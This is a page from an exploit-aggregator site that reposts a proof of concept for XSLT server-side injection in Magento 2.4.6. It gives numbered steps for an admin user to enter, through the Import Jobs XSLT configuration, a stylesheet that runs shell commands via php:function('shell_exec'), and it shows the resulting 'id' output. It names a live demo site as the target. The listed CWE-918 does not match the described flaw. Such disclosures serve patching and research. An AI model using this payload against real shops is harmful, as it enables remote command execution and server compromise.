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Magento 2.4.6 XSLT Server Side Injection / Command Execution

CVE Category Price Severity
CVE-2021-33118 CWE-918 Not specified Critical
Author Risk Exploitation Type Date
Rapid7 High Remote 2023-11-23
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.0448 0.69114

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023110027

Below is a copy:

Magento 2.4.6 XSLT Server Side Injection / Command Execution
Exploit Title: Magento ver. 2.4.6 - XSLT Server Side Injection
# Date: 2023-11-17
# Exploit Author: tmrswrr
# Vendor Homepage: https://magento2demo.firebearstudio.com/
# Software Link:  https://github.com/magento/magento2/archive/refs/tags/2.4.6-p3.zip
# Version: 2.4.6
# Tested on: 2.4.6

POC:

1 ) Enter with admin creds this url : https://magento2demo.firebearstudio.com/
2 ) Click SYSTEM > Import Jobs > Entity Type Widget > click edit 
3 ) Click XSLT Configuration  and write this payload : 

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','id')" />
</xsl:template>
</xsl:stylesheet>

4 ) Click Test XSL Template , You will be see "id" command result :

<?xml version="1.0"?>
uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)

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